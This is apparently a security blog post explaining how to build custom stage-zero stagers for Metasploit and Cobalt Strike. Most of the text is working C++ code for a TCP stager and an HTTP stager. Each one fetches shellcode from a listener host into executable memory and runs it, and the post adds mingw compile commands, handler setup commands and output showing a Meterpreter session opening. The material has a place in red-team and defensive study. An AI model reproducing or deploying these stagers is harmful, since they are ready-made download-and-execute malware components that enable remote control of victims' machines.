Interacting with Foreign Handlers

In the context of Metasploit, and other C2 frameworks a “handler” refers to a component or module that is responsible for managing incoming connections from exploited systems.

Handlers often support staged payloads, where additional malicious code is delivered to the compromised system to be executed.

This article is looking at what is commonly known as stage zero, where an initial connection is made to a remote machine to download and execute further malicious code.

TCP Socket Stagers

The purpose of stage zero is to download additional shellcode over a network socket. The Meterpreter protocol does the following;

  • recv is called to download the first four bytes from the server. These bytes represent the size of the payload.
  • A buffer is allocated using VirtualAlloc, 5 bytes larger than the size of the payload.
  • The first byte of this buffer is set to 0xBF (a POP EDI instruction), followed by the socket handle used for the original connection. The shellcode executed will utilise this socket handle.
  • Another call to recv is made to download the rest of the payload based on the size previously retrieved. This is placed in the buffer after the socket handle.
  • The buffer is cast to a function and executed.

The below C++ code implements this protocol.

#include <iostream>
#include <winsock2.h>
#include <windows.h>

void printHexBytes(const char* buffer, size_t size) {
    for (size_t i = 0; i < size; ++i) {
        printf("%02x ", static_cast<unsigned char>(buffer[i]));
    }
    printf("\n");
}

int main(int argc, char* argv[]) {
    ULONG32 size;
    void (*function)();
    // Initialize Winsock
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "Failed to initialize Winsock" << std::endl;
        return -1;
    }
    // Create a socket
    SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == INVALID_SOCKET) {
        std::cerr << "Error creating socket: " << WSAGetLastError() << std::endl;
        WSACleanup();
        return -1;
    }
    // Set up the server address
    sockaddr_in serverAddress;
    serverAddress.sin_family = AF_INET;
    serverAddress.sin_port = htons(4444);
    serverAddress.sin_addr.s_addr = inet_addr("192.168.1.131");

    // Connect to the server
    if (connect(clientSocket, reinterpret_cast<sockaddr*>(&serverAddress), sizeof(serverAddress)) == SOCKET_ERROR) {
        std::cerr << "Error connecting to the server: " << WSAGetLastError() << std::endl;
        closesocket(clientSocket);
        WSACleanup();
        return -1;
    }
    
    // Get the size of the payload (in the first four bytes of network communication)
    recv(clientSocket, reinterpret_cast<char*>(&size), 4, 0);
    // Allocate memory, including 5 bytes for our socket handler and POP EDI
    char* buffer = static_cast<char*>(VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));

    // POP EDI to first byte
    buffer[0] = 0xBF;
    // Followed by socket handle
    memcpy(buffer + 1, &clientSocket, 4);

    int bytesRead = 0;
    int totalBytesRead = 0;
    while (totalBytesRead < size) {
        bytesRead = recv(clientSocket, reinterpret_cast<char*>(buffer) + 5 + totalBytesRead, size - totalBytesRead, 0);
        if (bytesRead <= 0) {
            std::cerr << "Error receiving shellcode" << std::endl;
            delete[] buffer;
            closesocket(clientSocket);
            WSACleanup();
            return -1;
        }
        totalBytesRead += bytesRead;
    }

    std::cout << "Buffer bytes\n";
    printHexBytes(buffer, 20);

    function = reinterpret_cast<void (*)()>(buffer);
    function();

    return 0;
}

A 32-bit and 64-bit Windows executables can be compiled on Linux using;

x86_64-w64-mingw32-g++ socket_stager.cpp -o socket_stager_x64 -lws2_32 -static-libgcc -static-libstdc++
i686-w64-mingw32-g++ socket_stager.cpp -o socket_stager_x86.exe -lws2_32 -static-libgcc -static-libstdc++

Start a Metatploit handler can be started using the following commands (for an x64 listener).

use multi/handler
set LHOST eth0
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 4444
set ExitOnSession FALSE
exploit -jz

Running the code shows we get a Meterpreter session back.

msfconsole -r socket_handler.rc

[*] Processing socket_handler.rc for ERB directives.
resource (socket_handler.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (socket_handler.rc)> set LHOST eth0
LHOST => eth0
resource (socket_handler.rc)> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
resource (socket_handler.rc)> set LPORT 4444
LPORT => 4444
resource (socket_handler.rc)> set ExitOnSession FALSE
ExitOnSession => false
resource (socket_handler.rc)> exploit -jz
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 192.168.1.210:4444 
msf6 exploit(multi/handler) > 
[*] Sending stage (200774 bytes) to 192.168.1.114
[*] Meterpreter session 1 opened (192.168.1.210:4444 -> 192.168.1.114:52607) at 2024-02-18 09:35:18 +0000

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DEVELOPMENT
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows


HTTP Stagers

With HTTP handlers, a request is made to a specific URL, which specifies a unique identifier for the stager based on the Metasploit UUID format. The server returns the shellcode to be executed in the response body. As before, once the shellcode has been downloaded, it’s cast as a function and executed.

#include <Windows.h>
#include <winhttp.h>
#include <iostream>
#include <vector>
#include <iomanip>

#pragma comment(lib, "winhttp.lib")

void printHexBytes(const char* buffer, size_t size) {
    for (size_t i = 0; i < size; ++i) {
        printf("%02x ", static_cast<unsigned char>(buffer[i]));
    }
    printf("\n");
}

std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename, BOOL secure);

int main()
{
    std::vector<BYTE> shellcode = Download(L"192.168.1.127\0", L"/rNLd3nJe_IeMYI1i6bD4_w0RET_Ltaifk0yEH9ZjhwUuTLwl0-tex1JXXWjaLBdsiW0Q2iBOYzWlV3\0",true);
    if (!shellcode.empty()) {


        std::size_t vectorSize = shellcode.size();
        char* buffer = static_cast<char*>(VirtualAlloc(0, vectorSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE));

        memcpy(buffer, shellcode.data(), vectorSize);
        printHexBytes(buffer, 20);
        void (*function)();
        function = reinterpret_cast<void (*)()>(buffer);
        function();
    }
}

void HandleError(const wchar_t* errorMessage) {
    std::cerr << "Error: " << errorMessage << std::endl;
}

std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR path, BOOL secure) {

    HINTERNET hSession = nullptr;
    HINTERNET hConnect = nullptr;
    HINTERNET hRequest = nullptr;
    const wchar_t* userAgent = L"TEST";

    if (secure) {
        //HTTPS
        hSession = WinHttpOpen(NULL,WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_SECURE_DEFAULTS);
        hConnect = WinHttpConnect(hSession,baseAddress,INTERNET_DEFAULT_HTTPS_PORT,0);
        if (!hConnect) {
            HandleError(L"Error connecting to the server.");
            WinHttpCloseHandle(hSession);
        }
        hRequest = WinHttpOpenRequest(hConnect,L"GET",path,NULL,WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,WINHTTP_FLAG_SECURE);
        DWORD securityFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
        WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &securityFlags, sizeof(securityFlags));
        WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    }
    else {
        //HTTP
        hSession = WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, NULL);
        WinHttpSetOption(hSession, WINHTTP_OPTION_USER_AGENT, (LPVOID)userAgent, wcslen(userAgent) * sizeof(wchar_t));
        hConnect = WinHttpConnect(hSession, baseAddress, INTERNET_DEFAULT_HTTP_PORT, 0);
        if (!hConnect) {
            HandleError(L"Error connecting to the server.");
            WinHttpCloseHandle(hSession);
        }
        hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
        WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);

    }

    // receive response
    WinHttpReceiveResponse(hRequest, NULL);

    std::vector<BYTE> buffer;
    DWORD bytesRead = 0;
    do {

        BYTE temp[4096]{};
        WinHttpReadData(hRequest, temp, sizeof(temp), &bytesRead);

        if (bytesRead > 0) {
            buffer.insert(buffer.end(), temp, temp + bytesRead);
        }

    } while (bytesRead > 0);

    // close all the handles
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return buffer;



    
}

x84/x64 versions can be compiled with:

x86_64-w64-mingw32-g++ http_stager.cpp -o http_stager_x64 -lwinhttp -static-libgcc -static-libstdc++
i686-w64-mingw32-g++ http_stager.cpp -o http_stager_x86 -lwinhttp -static-libgcc -static-libstdc++

Then start the Metasploit handlers.

use multi/handler
setg LHOST eth0
setg ExitOnSession FALSE
set LPORT 443
set payload windows/x64/meterpreter/reverse_https
exploit -jz
set LPORT 80
set payload windows/x64/meterpreter/reverse_http
exploit -jz

Cobalt Strike Integration

The x86 HTTP stager we just created is compatible with CobaltStrike (although not x64 payloads!). Start a Beacon HTTP listener, as per the screenshot below.

With the listener configured, you should receive a shell back after executing http_stager_x86.exe.

In Conclusion

Stage zero is relatively simple, just downloading and executing further code. The next stage typically involves shellcode being delivered to perform Reflective DLL injection of an implant. This will be covered in a later post.